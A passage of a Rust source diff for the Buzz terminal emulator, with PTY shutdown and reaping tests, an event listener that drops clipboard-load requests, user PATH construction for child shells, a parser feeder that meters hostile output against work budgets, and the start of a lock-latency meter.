/// doing the work my group signal was being credited for.
///
/// Two properties are therefore required of the grandchild, and each closes
/// one leak in the fixture:
///
/// - it **ignores `SIGHUP`**, so the tty hangup cannot end it for us; and
/// - it **busy-loops rather than sleeping**, so it is not blocked in a call
/// that the session teardown would interrupt anyway.
///
/// With both, the probe separates cleanly: pid-only leaves the grandchild
/// alive, `kill(-pgid)` does not. That is the only shape in which this test
/// can fail for the reason it claims to test.
///
/// The `WATCHDOG` is the price of that hostility. A grandchild built to
/// survive every signal we send also survives the harness: when this test
/// legitimately fails -- as it does under mutation L1 and L2 -- it leaves a
/// process spinning a core at PPID 1, and a panicking or killed test binary
/// cannot clean up after itself. So the child carries its own deadline.
/// `SIGKILL` because that is the one signal the fixture does not trap.
#[test]
fn grandchild_does_not_outlive_the_session() {
let dir = tempdir("buzz-terminal-orphan");
let pidfile = dir.join("grandchild.pid");
let armed = dir.join("armed");
let pair = open_pty();
let mut child = spawn_script(
&pair,
&format!(
"sh -c 'trap \"\" HUP TERM; (sleep {WATCHDOG}; kill -9 $$) & \
: > {armed}; while :; do :; done' & \
echo $! > {pidfile}; wait",
armed = armed.display(),
pidfile = pidfile.display()
),
);
let shell_pid = child.process_id().expect("pid") as i32;
let grandchild: i32 = read_when_written(&pidfile)
.expect("grandchild never reported its pid")
.parse()
.expect("pid is a number");
assert!(
poll_until(|| armed.exists()),
"grandchild never armed its SIGHUP trap; the tty hangup would kill it \
regardless of how we signal, and this test could not observe the \
difference"
);
assert!(
pid_alive(grandchild),
"test setup: the grandchild must be running before we shut down"
);
assert_ne!(
grandchild, shell_pid,
"test setup: the grandchild must be a distinct process, or this \
cannot tell a group signal from a pid signal"
);
shutdown(&mut child).expect("shutdown");
assert!(
poll_until(|| !pid_alive(shell_pid)),
"the session leader survived shutdown"
);
assert!(
poll_until(|| !pid_alive(grandchild)),
"an orphaned grandchild ({grandchild}) outlived the session -- the \
signal reached the shell's pid but not its process group"
);
}
/// Shutting down an already-dead child is safe and reaps it.
///
/// Without the leading `try_wait`, this path signals a pid that the kernel may
/// already have released and reassigned.
#[test]
fn shutdown_of_an_exited_child_is_a_reap_not_a_signal() {
let pair = open_pty();
let mut child = spawn_script(&pair, "exit 0");
assert!(
poll_until(|| child.try_wait().ok().flatten().is_some()),
"child did not exit"
);
assert_eq!(
shutdown(&mut child).expect("shutdown"),
Shutdown::AlreadyExited
);
}
/// The login `argv[0]` the child **actually receives**, not the string we
/// computed.
///
/// This closes the gap flagged in `e8b567aa`: `login_argv0` and
/// `portable-pty`'s `as_command` (`cmdbuilder.rs:510-517`) were each verified
/// by reading, and agreement-by-reading is not observation.
///
/// Two things make the probe terminate where a naive one hangs. The child
/// writes `$0` to a **file** rather than the PTY -- so there is no terminal
/// echo to strip, no ANSI to parse, and no dependency on the interactive
/// shell ever reaching EOF. And the read is polled to a deadline. Credit to
/// Quinn (`fcfd69b0`), whose three failed PTY-parsing harnesses established
/// that the harness was the bug.
///
/// The explicit-prog row is the control that isolates login `argv[0]` as the
/// only variable: same shell, same PTY, same fence, no `-` prefix.
#[test]
fn default_prog_child_observes_the_login_argv0() {
let dir = tempdir("buzz-terminal-argv0");
let shell = "/bin/sh";
let default_prog = observe_argv0(&dir.join("default"), shell, true);
assert_eq!(
default_prog,
login_argv0(shell),
"the child's $0 is not the login argv0 we computed"
);
assert!(
default_prog.starts_with('-'),
"a default-prog child must be a login shell: {default_prog:?}"
);
let explicit = observe_argv0(&dir.join("explicit"), shell, false);
assert_eq!(
explicit, shell,
"control: an explicitly-invoked shell must not be given a login argv0"
);
assert_ne!(
default_prog, explicit,
"control and subject agree, so this test cannot observe the login \
prefix at all"
);
}
/// Spawns a `/bin/sh` that writes its own `$0` to `pidfile`, either as a
/// default program (login argv0 applied by portable-pty) or explicitly.
///
/// The default-prog child is an *interactive* shell with no `-c`, so it is
/// driven by writing to the PTY master -- the only way to give a login shell
/// a command is to type one.
fn observe_argv0(outfile: &std::path::Path, shell: &str, default_prog: bool) -> String {
let pair = open_pty();
let resolved = resolve_shell(Some(shell));
let mut cmd = if default_prog {
CommandBuilder::new_default_prog()
} else {
CommandBuilder::new(shell)
};
fence_env(&mut cmd, &user_shell_path(), &resolved);
if !default_prog {
cmd.arg("-c");
cmd.arg(format!("printf '%s' \"$0\" > {}", outfile.display()));
}
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drain(&pair);
drop(pair.slave);
if default_prog {
use std::io::Write;
let mut writer = pair.master.take_writer().expect("writer");
writeln!(writer, "printf '%s' \"$0\" > {}", outfile.display()).expect("write");
writer.flush().expect("flush");
// Dropping the writer closes the master's write side, which the shell
// reads as end-of-input and exits on -- no `exit` command needed, and
// nothing depends on the shell's rc files having run.
drop(writer);
}
let observed = read_when_written(outfile);
let _ = crate::lifecycle::shutdown(&mut child);
observed.unwrap_or_else(|| panic!("child never reported $0 within {BOUND:?}"))
}
/// A fresh directory for a test's artifacts, replacing any prior run's.
fn tempdir(name: &str) -> std::path::PathBuf {
let dir = std::env::temp_dir().join(name);
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).expect("create temp dir");
dir
}
/// Mari's noisy-child discriminator: the reader must still be draining
/// **while** the child is being terminated and reaped.
///
/// The portable contract is structural: `stop` must not be requested until
/// the child has been reaped. The recording reader checks the child PID at the
/// `stop` call, while the continuously noisy PTY makes the test exercise a
/// reader that is genuinely active rather than a quiet no-op.
///
/// The child is deliberately noisy: it floods the PTY continuously, so a
/// master that stops being read fills its kernel buffer within milliseconds
/// and the child blocks in `write()`. That is the state the drain law exists
/// to avoid, and a quiet child cannot produce it -- with nothing being
/// written, both orders look identical and the test proves nothing.
#[test]
fn reader_drains_through_termination_and_reap() {
let pair = open_pty();
// Flood, and keep flooding: `yes` writes until the pipe is closed or the
// process dies, so there is always more output pending than the buffer
// holds.
let mut child = spawn_noisy(&pair);
let pid = child.process_id().expect("pid") as i32;
let order = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
let stop_at: StopClock = std::sync::Arc::new(std::sync::Mutex::new(None));
let reader = RecordingReader::spawn(&pair, pid, order.clone(), stop_at.clone());
// Release the slave, exactly as the runtime does after spawning
// (`terminal_runtime.rs:441`). Not hygiene: a PTY master does not reach
// EOF while *any* process holds the slave open, and this test is one --
// so with the slave retained the reader parks in `read()` forever after
// the child is reaped, and every wait on it burns its whole bound. Linux
// honours that rule strictly; Darwin ends the read when the session
// leader exits, so the retained slave was invisible on the platform this
// was written on and failed only in CI.
drop(pair.slave);
// Establish that this is a live draining reader, not a quiet fixture.
assert!(
poll_until(|| reader.total_bytes() > 4096),
"test setup: the child is not producing enough output to fill the pty \
buffer, so this cannot distinguish drain order"
);
let started = Instant::now();
let outcome = shutdown_draining(&mut child, Box::new(reader)).expect("shutdown");
// `stop` runs the instant `shutdown` returns, so this is the child's half
// of the window and nothing else. Timing the whole call would fold reader
// teardown into an assertion whose message is about child termination --
// which is exactly how a stalled reader once read as a wedged child.
let elapsed = stop_at
.lock()
.unwrap()
.expect("stop was never called")
.duration_since(started);
assert_eq!(
outcome,
Shutdown::Terminated,
"a `yes` pipeline dies on SIGTERM; SIGKILL here means it was wedged in \
a tty write against an undrained master"
);
assert!(
elapsed < TERM_GRACE,
"shutdown took {elapsed:?}, at or beyond the {TERM_GRACE:?} grace \
period: the child was blocked writing to an undrained master rather \
than exiting on SIGTERM"
);
assert_eq!(
*order.lock().unwrap(),
["begin_closing", "stop", "join"],
"reader close must begin before termination and stop/join only after reap"
);
}
/// Spawns a child that floods the PTY without pause.
fn spawn_noisy(pair: &PtyPair) -> Box<dyn Child + Send + Sync> {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let mut cmd = CommandBuilder::new("/bin/sh");
fence_env(&mut cmd, &user_shell_path(), &shell);
cmd.arg("-c");
cmd.arg("while :; do echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; done");
// Deliberately no `drain` here: this test owns the reader.
pair.slave.spawn_command(cmd).expect("spawn")
}
/// A [`DrainingReader`] that records how much it read after close began.
struct RecordingReader {
pid: i32,
total: std::sync::Arc<std::sync::atomic::AtomicU64>,
handle: std::thread::JoinHandle<()>,
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
/// When `stop` was called -- i.e. the instant `shutdown` returned.
stop_at: StopClock,
}
/// Shared slot for the instant the reader was asked to stop.
type StopClock = std::sync::Arc<std::sync::Mutex<Option<Instant>>>;
impl RecordingReader {
fn spawn(
pair: &PtyPair,
pid: i32,
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
stop_at: StopClock,
) -> Self {
let mut reader = pair.master.try_clone_reader().expect("reader");
let total = std::sync::Arc::new(std::sync::atomic::AtomicU64::new(0));
let counter = total.clone();
let handle = std::thread::spawn(move || {
use std::io::Read;
let mut buf = [0u8; 4096];
while let Ok(n) = reader.read(&mut buf) {
if n == 0 {
break;
}
counter.fetch_add(n as u64, Ordering::Relaxed);
}
});
Self {
pid,
total,
handle,
order,
stop_at,
}
}
fn total_bytes(&self) -> u64 {
self.total.load(Ordering::Relaxed)
}
}
impl DrainingReader for RecordingReader {
fn begin_closing(&self) {
self.order.lock().unwrap().push("begin_closing");
}
fn stop(&self) {
*self.stop_at.lock().unwrap() = Some(Instant::now());
assert!(
!pid_alive(self.pid),
"reader stop must not be requested before the child is reaped"
);
self.order.lock().unwrap().push("stop");
}
fn join(self: Box<Self>) {
self.order.lock().unwrap().push("join");
// Bounded, and that is the whole point. The read loop ends when the
// master reports EOF, which only happens once the reaped child has
// released the slave -- so joining *before* termination blocks
// forever. That is precisely the forbidden ordering (mutation L4),
// and an unbounded join would "detect" it by hanging, which is
// indistinguishable from a broken test. Waiting to a deadline and
// abandoning the thread converts the hang into an assertion failure
// the harness can report.
//
// The deadline must *assert*, not return. A silent abandon is
// indistinguishable from a clean join, and that is not hypothetical:
// it is how a 10 s stall in this fixture masqueraded as a
// child-termination failure in the caller's timing assertion. The
// caller's clock covers `shutdown()` only, so this is the sole gate
// on reader teardown -- with a wedged reader, `shutdown()` still
// returns in ~58 ms and every other assertion here passes.
assert!(
poll_until(|| self.handle.is_finished()),
"reader thread never finished within {BOUND:?} after the child was \
reaped: the master never reached EOF, so output was not being \
drained through termination"
);
let _ = self.handle.join();
}
}
@@ -0,0 +1,144 @@
//! The closed set of terminal events we act on.
//!
//! `EventListener` is how the emulator asks the embedder to do something. Most
//! of those requests write back to the PTY, and one of them — `ClipboardLoad` —
//! would let terminal output read the user's clipboard into the shell. We
//! answer a fixed set and **drop everything else by default**, so a new upstream
//! variant is inert until someone deliberately handles it.
use std::fmt;
use std::sync::mpsc::{self, Receiver, Sender};
use std::sync::Arc;
use alacritty_terminal::event::{Event, EventListener, WindowSize};
use alacritty_terminal::vte::ansi::Rgb;
/// Something the embedder must do on the terminal's behalf.
///
/// Two variants carry upstream's reply formatters rather than a finished
/// string: the answers depend on state this listener does not own (the color
/// palette, the cell metrics). Resolving them here would mean inventing
/// values, and a program that asked for its terminal's real background color
/// would silently be told black.
#[derive(Clone)]
pub enum Action {
/// Write bytes back to the PTY.
PtyWrite(String),
/// Reply with palette entry `index`, formatted by `format`.
ColorReply {
index: usize,
format: Arc<dyn Fn(Rgb) -> String + Send + Sync>,
},
/// Reply with the text area size, formatted by `format`.
SizeReply {
format: Arc<dyn Fn(WindowSize) -> String + Send + Sync>,
},
/// The program set the window title (already clamped).
Title(String),
/// The program reset the window title.
ResetTitle,
/// New content is available; the renderer should sample damage.
Wakeup,
/// The program rang the bell.
Bell,
}
impl fmt::Debug for Action {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Self::PtyWrite(text) => write!(f, "PtyWrite({text:?})"),
Self::ColorReply { index, .. } => write!(f, "ColorReply({index})"),
Self::SizeReply { .. } => write!(f, "SizeReply"),
Self::Title(title) => write!(f, "Title({title:?})"),
Self::ResetTitle => write!(f, "ResetTitle"),
Self::Wakeup => write!(f, "Wakeup"),
Self::Bell => write!(f, "Bell"),
}
}
}
/// Longest title we will carry. A title is program-controlled text that ends up
/// in UI chrome; an unbounded one is a memory and layout problem.
pub const TITLE_LIMIT: usize = 512;
/// Clamp on a character boundary, never mid-UTF-8.
fn clamp_title(title: String) -> String {
match title.char_indices().nth(TITLE_LIMIT) {
None => title,
Some((byte_idx, _)) => title[..byte_idx].to_string(),
}
}
/// Translates upstream events into the closed [`Action`] set.
#[derive(Clone)]
pub struct Listener(Sender<Action>);
impl Listener {
pub fn new() -> (Self, Receiver<Action>) {
let (tx, rx) = mpsc::channel();
(Self(tx), rx)
}
}
/// Resolve an emulator action that can be answered without renderer state.
///
/// Color queries deliberately return `None`: named/indexed colors resolve
/// against the live theme, which this crate does not own.
pub fn reply(
action: Action,
columns: u16,
rows: u16,
cell_width: u16,
cell_height: u16,
) -> Option<String> {
match action {
Action::PtyWrite(text) => Some(text),
Action::SizeReply { format } => Some(format(WindowSize {
num_lines: rows,
num_cols: columns,
cell_width,
cell_height,
})),
// Palette values are renderer-owned. The transport must answer these
// only after it has a renderer palette, never invent one here.
Action::ColorReply { .. }
| Action::Title(_)
| Action::ResetTitle
| Action::Wakeup
| Action::Bell => None,
}
}
impl EventListener for Listener {
fn send_event(&self, event: Event) {
let action = match event {
// Replies the program is waiting on. These are the only routes by
// which emulator state travels back into the shell.
Event::PtyWrite(text) => Action::PtyWrite(text),
// A program blocked on a color reply must get one, or it hangs.
// The palette lives in `Term`, so the caller resolves the index;
// the formatter is carried through untouched.
Event::ColorRequest(index, format) => Action::ColorReply { index, format },
Event::TextAreaSizeRequest(format) => Action::SizeReply { format },
Event::Title(title) => Action::Title(clamp_title(title)),
Event::ResetTitle => Action::ResetTitle,
Event::Wakeup => Action::Wakeup,
Event::Bell => Action::Bell,
// Dropped on purpose, and enumerated so the reason survives:
//
// ClipboardLoad would let terminal output paste the user's
// clipboard into the shell. Never handled.
Event::ClipboardLoad(..) => return,
// ClipboardStore is an OSC 52 write; OSC 52 is disabled in the
// Term config, so this should be unreachable rather than merely
// unhandled.
Event::ClipboardStore(..) => return,
// Presentation concerns the renderer polls for; no action here.
Event::MouseCursorDirty | Event::CursorBlinkingChange => return,
// Lifecycle is owned by the PTY layer, not the emulator.
Event::Exit | Event::ChildExit(_) => return,
};
let _ = self.0.send(action);
}
}
@@ -0,0 +1,46 @@
//! `PATH` derivation for spawned PTY children.
//!
//! Buzz's own process runs under Hermit activation, so its `PATH` leads with
//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim
//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's
//! pinned build toolchain rather than the ones they installed. That is a
//! product defect, not merely untidy: `⌘J` then `cargo --version` should
//! answer for the user's machine, not for Buzz's build.
//!
//! The abandoned `feat/terminal` branch tried to solve this by subtracting
//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The
//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV`
//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads
//! those same keys at `:505-506` to learn what to strip. With both keys
//! already gone the roots list is empty and the function returns early,
//! leaving the hermit entries in place. Verified by reproduction: in that
//! order the child's `PATH` is unchanged; reversed, the hermit entries are
//! removed. A subtractive fence depends on evidence of what to subtract, and
//! that evidence is exactly what the preceding cleanup destroys.
//!
//! So `PATH` is *constructed*, not filtered. The child gets the platform's
//! standard user path, which is what a login shell would have produced had
//! Buzz never been in the picture.
/// The default user `PATH` for a spawned shell.
///
/// This intentionally does not consult Buzz's own `PATH`. A login shell reads
/// the user's rc files, which prepend their own entries (homebrew, asdf, mise,
/// `~/.local/bin`); starting from the platform default lets that happen
/// normally instead of layering it on top of Buzz's build toolchain.
#[cfg(unix)]
pub fn user_shell_path() -> String {
// Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system
// binaries only. `/usr/local/bin` is included because it is the
// conventional prefix on both macOS and Linux for user-installed tools
// that rc files expect to already be present.
"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string()
}
#[cfg(windows)]
pub fn user_shell_path() -> String {
// On Windows the system directories are derived from the environment
// rather than fixed, and `cmd.exe`/PowerShell resolution depends on them.
let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string());
format!(r"{root}\system32;{root};{root}\system32\Wbem")
}
@@ -0,0 +1,354 @@
//! Fence enforcement around `vte`'s `Processor`.
//!
//! Everything that reaches the terminal's parser goes through [`Feeder::feed`].
//! It is the single place both fences are applied, so there is no route by
//! which bytes become parser-visible without being charged.
use alacritty_terminal::vte::ansi::{Handler, Processor, StdSyncHandler};
use crate::fences::{
slice_bytes_remaining, FenceStats, Fences, MAX_SLICE, OSC_BUDGET, SYNC_CAP, TAIL_CAP,
TAIL_RESUME, WORK_BUDGET,
};
use crate::units::{Counting, CursorColumn};
/// Owns the parser and enforces F1/F2 on every byte fed to it.
pub struct Feeder {
parser: Processor<StdSyncHandler>,
fences: Fences,
stats: FenceStats,
/// Bytes charged since the last F2 reset.
since_reset: usize,
/// Bytes accepted but not yet parsed. Grows when arrival outruns
/// retirement; drained by every [`Feeder::feed`] and [`Feeder::drain`].
pending: Vec<u8>,
/// How much of `pending` has already been parsed. Kept as an index rather
/// than draining the front on every slice, so a large tail is not
/// re-shuffled once per slice; the prefix is dropped in one go on the next
/// enqueue.
pending_at: usize,
/// The grid the weights are computed against. Tracked here rather than
/// read from the `Term` because `feed` only has the handler, and kept in
/// sync by [`Feeder::resize`]: a stale grid misprices every O(cells)
/// callback for as long as it is wrong.
columns: usize,
lines: usize,
/// Whether the parser is part-way through an escape sequence that has not
/// yet dispatched. Governs how the next slice is metered -- see
/// [`crate::fences::slice_bytes_remaining`].
mid_escape: bool,
/// Deepest scrollback this feeder has ever been configured for.
///
/// A high-water mark rather than the current depth, and the difference is
/// not conservatism for its own sake -- the rows are still there. Upstream
/// frees history lazily: `Storage::shrink_lines` truncates only once the
/// buffer exceeds the new length by `MAX_CACHE_SIZE`, so immediately after
/// a decrease the grid still owns rows that a reset must walk. Pricing at
/// the new depth would charge for a grid that does not exist yet.
///
/// Never lowered, so it needs no clearing transition and cannot go stale
/// in the unsafe direction. The cost is that a session which shrinks its
/// scrollback keeps paying the deep price for the rest of its life; the
/// alternative is a bound that is wrong immediately after every shrink.
scrollback: usize,
}
impl Feeder {
pub fn new(fences: Fences, columns: usize, lines: usize, scrollback: usize) -> Self {
Self {
parser: Processor::new(),
fences,
stats: FenceStats::default(),
since_reset: 0,
pending: Vec::new(),
pending_at: 0,
mid_escape: false,
columns,
lines,
scrollback,
}
}
/// Track a geometry change, so the cost weights describe the current grid.
///
/// Takes the whole [`crate::Size`] rather than a column/line pair on
/// purpose. Scrollback is as load-bearing as the other two -- it is most
/// of RIS's price and therefore most of the slice derivation -- and a
/// signature that accepted only the dimensions let a caller change the
/// depth on the `Term` while the feeder kept charging the construction
/// value. One argument, one ownership boundary, no way to update two of
/// three.
pub fn resize(&mut self, size: crate::Size) {
self.columns = size.columns;
self.lines = size.screen_lines;
// Grows only. See the field: a decrease does not immediately free the
// rows a reset has to walk.
self.scrollback = self.scrollback.max(size.scrollback);
}
pub fn stats(&self) -> FenceStats {
self.stats
}
pub fn reset_stats(&mut self) {
self.stats.reset();
}
/// Bytes currently buffered inside a synchronized update.
pub fn pending_sync_bytes(&self) -> usize {
self.parser.sync_bytes_count()
}
/// Bytes accepted but not yet parsed, because a previous [`Feeder::feed`]
/// spent its work budget before reaching them.
pub fn pending_bytes(&self) -> usize {
self.pending.len() - self.pending_at
}
/// Whether the pending tail has reached [`TAIL_CAP`].
///
/// Deliberately derived from the current depth rather than latched. A
/// latch is a state the fence owns and could fail to clear, which is
/// exactly how a paused reader strands a child mid-teardown; a reader that
/// simply stops asking resumes by default.
///
/// **No production consumer today, and not an oversight.** The runtime
/// reader pumps [`Feeder::drain`] to completion after every read
/// (`terminal_runtime.rs`), so the tail is empty between iterations and
/// this can never go true -- measured 0 bytes high-water against 8 MiB of
/// pure RIS, the densest atom there is. It exists for a future reader
/// that defers pumping, and such a reader **must** consult it: without
/// the pump loop the same stream reaches [`TAIL_CAP`] in 257 reads of
/// 16 KiB.
///
/// The numbers are here rather than "nothing calls this" because the
/// signal and the loop are one fact from two sides. Delete the loop and
/// this predicate stops being unreachable in the same instant it starts
/// being needed.
pub fn tail_full(&self) -> bool {
self.pending_bytes() >= TAIL_CAP
}
/// Whether a paused reader may resume: the tail has drained to the low
/// water mark. Separate from `!tail_full()` so the reader does not flap
/// between full and one-byte-below-full.
pub fn tail_drained(&self) -> bool {
self.pending_bytes() <= TAIL_RESUME
}
/// Discard the unparsed tail.
///
/// For session close only, and lossless where it is used: publication is
/// detached before shutdown drains, so this tail is bytes no renderer can
/// consume. Draining the *PTY* remains lifecycle-critical -- this exists so
/// parser work cannot hold teardown behind it.
pub fn abandon_tail(&mut self) -> usize {
let abandoned = self.pending_bytes();
self.pending.clear();
self.pending_at = 0;
self.stats.abandoned_bytes += abandoned as u64;
abandoned
}
/// Accept PTY output and parse what fits in one work budget.
///
/// Returns whether bytes remain unparsed. Bytes beyond the budget are
/// retained and parsed by [`Feeder::drain`], so this bounds the *lock
/// hold*; it does not bound the queue. When arrival outruns retirement
/// the tail grows to [`TAIL_CAP`] and [`Feeder::tail_full`] goes true,
/// which is the reader's cue to stop reading the PTY and let the child
/// block. No policy is applied here: a fence that dropped input to protect
/// itself would corrupt the screen to avoid being slow.
pub fn feed<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> bool {
self.enqueue(bytes);
self.drain(handler);
self.pending_bytes() > 0
}
/// Append to the pending tail, compacting the already-parsed prefix first.
fn enqueue(&mut self, bytes: &[u8]) {
if self.pending_at > 0 {
self.pending.drain(..self.pending_at);
self.pending_at = 0;
}
self.pending.extend_from_slice(bytes);
}
/// Parse from the pending tail until the work budget is spent.
///
/// The budget is checked between parser slices, never inside a callback:
/// vte's own mid-buffer stop is driven by `Perform::terminated()`, whose
/// implementor in the ansi layer is private, so the cut has to be made
/// from outside, and a callback already running cannot be preempted at
/// all. One atom is therefore the irreducible overrun -- and it is not
/// small: `ESC[65535Z` with tabstops cleared is 8 bytes and 82 ms at 1600
/// columns, because upstream's `move_backward_tabs` rescans the row once
/// per count when it finds no stop.
///
/// What *is* bounded is the number of atoms per slice, and that bound
/// holds from the first byte of a cold feeder: [`slice_bytes_remaining`] is derived
/// from the densest work-per-byte upstream can produce on this grid, so
/// no slice can contain more than one budget's worth of callbacks no
/// matter what the payload is or what the feeder has seen before.
///
/// Returns the work spent, which is at least the budget whenever the tail
/// is still non-empty on return.
pub fn drain<H: Handler + CursorColumn>(&mut self, handler: &mut H) -> u64 {
// Slices are copied out of the tail rather than borrowed from it,
// because `advance_slice` needs `&mut self` and the tail is part of
// self. A stack buffer keeps that from allocating; the copy is a
// memcpy against a parse two orders of magnitude more expensive.
let mut buf = [0u8; MAX_SLICE];
let mut spent: u64 = 0;
while self.pending_at < self.pending.len() {
// Size each slice against what is *left* of the budget, and
// against what is actually in front of the parser. A slice can
// only be as expensive as the callbacks it contains, and only an
// escape can buy grid-sized work in two bytes -- so a plain run
// is sliced against the plain-byte cost and stops at the next
// `ESC`, which then gets a slice metered against the worst atom.
// The drain therefore returns on the atom that crosses the
// budget, not at the end of a slice that ran several more.
//
// Where one atom is worth more than the entire budget -- RIS at
// any real scrollback depth -- that escape gets a one-byte slice.
// That is the honest consequence of the law: nothing wider can
// promise to stop after the crossing atom when a single atom
// always crosses.
// A slice is never wider than MAX_SLICE, so the scan for the next
// escape stops there too: searching the whole tail would be
// O(tail) per slice and O(tail^2) per drain, which measured as a
// 7x throughput *regression* on plain text -- a bound that costs
// more than the thing it bounds.
let horizon = (self.pending_at + MAX_SLICE).min(self.pending.len());
let next_escape = if self.mid_escape {
// Already inside a sequence whose callback has not fired. Its
// remaining bytes are *not* plain text -- `ESC` then `c` is a
// grid reset -- so they keep the escape's metering. Without
// this the byte after a lone `ESC` is priced as a character
// and the atom rides into a wide slice with whatever follows
// it, which is the post-atom overrun by another door.
0
} else {
self.pending[self.pending_at..horizon]
.iter()
.position(|&b| b == 0x1b)
.unwrap_or(horizon - self.pending_at)
};
let width = slice_bytes_remaining(
self.columns,
self.lines,
self.scrollback,
spent,
next_escape,
);
let end = (self.pending_at + width).min(self.pending.len());
let len = end - self.pending_at;
buf[..len].copy_from_slice(&self.pending[self.pending_at..end]);
self.pending_at = end;
let cost = self.advance_slice(handler, &buf[..len]);
// A slice that contained an escape but dispatched nothing left the
// parser mid-sequence. Work is the signal because it is the thing
// being budgeted: a sequence that has not yet cost anything has
// not yet run.
self.mid_escape = (self.mid_escape || buf[..len].contains(&0x1b)) && cost == 0;
spent = spent.saturating_add(cost);
if spent >= WORK_BUDGET {
break;
}
}
if self.pending_at == self.pending.len() {
self.pending.clear();
self.pending_at = 0;
}
let depth = self.pending_bytes();
self.stats.max_pending = self.stats.max_pending.max(depth);
if depth >= TAIL_CAP {
self.stats.tail_breaches += 1;
}
spent
}
/// Parse one slice, applying both fences to it. Returns the work it cost.
fn advance_slice<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> u64 {
let mut spent: u64 = 0;
let sync_before = self.parser.sync_bytes_count();
{
let mut counting = Counting::new(handler, self.columns, self.lines, self.scrollback);
self.parser.advance(&mut counting, bytes);
self.stats.completed_units =
self.stats.completed_units.saturating_add(counting.units());
self.stats.completed_work = self.stats.completed_work.saturating_add(counting.work());
spent = spent.saturating_add(counting.work());
}
let sync_after = self.parser.sync_bytes_count();
// Charge exactly the bytes the parser could see, by route:
//
// * the buffer shrank -> a synchronized update ended and released
// `sync_before` buffered bytes plus whatever of `bytes` followed it.
// Charging only `bytes` here is the "omitted flush accounting"
// mutation: it under-charges by the whole buffered frame.
// * the buffer grew -> these bytes were swallowed into the buffer
// and are not yet parser-visible. Charging them now is the "raw
// counting" mutation: it over-charges, and resets the parser in the
// middle of a legitimate frame, destroying content.
// * neither -> ordinary unsynchronized input.
let charged = if sync_after < sync_before {
let released = sync_before + bytes.len() - sync_after;
self.note_release(released);
released
} else if sync_after > sync_before {
// Buffered, not yet visible. Charged when it is released.
0
} else {
bytes.len()
};
self.charge(charged);
// F1: a synchronized update may not buffer without bound. One abort
// per breach; the released bytes are parser-visible and are charged.
if self.fences.sync_abort && self.parser.sync_bytes_count() >= SYNC_CAP {
let released = self.parser.sync_bytes_count();
// Counted too: aborting flushes the buffered frame through the
// handler, so these are units the lock hold paid for. Leaving them
// out would undercount exactly on the fenced path.
{
let mut counting =
Counting::new(handler, self.columns, self.lines, self.scrollback);
self.parser.stop_sync(&mut counting);
self.stats.completed_units =
self.stats.completed_units.saturating_add(counting.units());
self.stats.completed_work =
self.stats.completed_work.saturating_add(counting.work());
spent = spent.saturating_add(counting.work());
}
self.stats.sync_aborts += 1;
self.note_release(released);
self.charge(released);
}
// F2: rebuild the parser once the budget is spent. Unconditional --
// a fresh `Processor` is the only way to discard parser state that a
// hostile stream is holding open, and it must not depend on the
// parser agreeing that it is in a bad state.
if self.fences.osc_budget && self.since_reset >= OSC_BUDGET {
self.parser = Processor::new();
self.stats.osc_resets += 1;
self.since_reset = 0;
}
spent
}
fn charge(&mut self, bytes: usize) {
self.since_reset += bytes;
self.stats.charged_bytes += bytes as u64;
}
fn note_release(&mut self, bytes: usize) {
if bytes > self.stats.max_release {
self.stats.max_release = bytes;
}
}
}
@@ -0,0 +1,305 @@
//! The lock the reader and the renderer contend for, and the meter on it.
//!
//! This lives in the engine crate rather than in the embedder because the
//! property it exists to prove is a property of the emulator *and* the lock
//! together: F1 bounds how many bytes one `feed` releases into the parser,
//! which bounds how long the reader can hold this mutex, which bounds how long
//! the renderer waits for it. Split the lock out to the Tauri layer and the
//! gate can only be written where no fixture runs.
//!
//! Measured, not assumed. Under a 180 MB/s flood the reader's own hold is
//! p50 1 us while the renderer's *acquire* is p50 4245 us -- four orders apart,
//! because 0.389% of calls carry 96.4% of the lock time. Holding time is the
//! wrong quantity; waiting time is the one a human feels. So the two planes are
//! metered separately: pooling them would let the reader's millions of fast
//! acquires dilute the renderer's tail into a false pass.
use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering};
use std::time::Instant;
use alacritty_terminal::sync::FairMutex;
use parking_lot::MutexGuard;
use crate::damage::{self, Encoder, Frame};
use crate::Terminal;
/// Number of latency buckets. Bucket `i` covers `[2^(i-1), 2^i)` microseconds,
/// so bucket 31 tops out around 35 minutes -- unreachable in practice, which is
/// the point: nothing is silently clamped into the last bucket.
const BUCKETS: usize = 32;
fn bucket_of(micros: u64) -> usize {
(u64::BITS - micros.leading_zeros()) as usize
}
/// Upper bound of a bucket, in microseconds. Percentiles report this, so a
/// reported latency is never better than what was actually observed.
fn bucket_ceiling(bucket: usize) -> u64 {
if bucket == 0 {
0
} else {
(1u64 << bucket) - 1
}
}
/// Lock-acquisition latencies for one plane, recorded without taking a second
/// lock -- an instrument that contends is measuring itself.
#[derive(Debug)]
pub struct AcquireMeter {
acquisitions: AtomicU64,
max_micros: AtomicU64,
buckets: [AtomicU32; BUCKETS],
}
impl Default for AcquireMeter {
fn default() -> Self {
Self {
acquisitions: AtomicU64::new(0),
max_micros: AtomicU64::new(0),
buckets: std::array::from_fn(|_| AtomicU32::new(0)),
}
}
}
impl AcquireMeter {
fn record(&self, micros: u64) {
self.acquisitions.fetch_add(1, Ordering::Relaxed);
self.max_micros.fetch_max(micros, Ordering::Relaxed);
self.buckets[bucket_of(micros)].fetch_add(1, Ordering::Relaxed);
}
/// Read the counters. Cheap and non-blocking; safe to call from a gate
/// while the flood is still running.
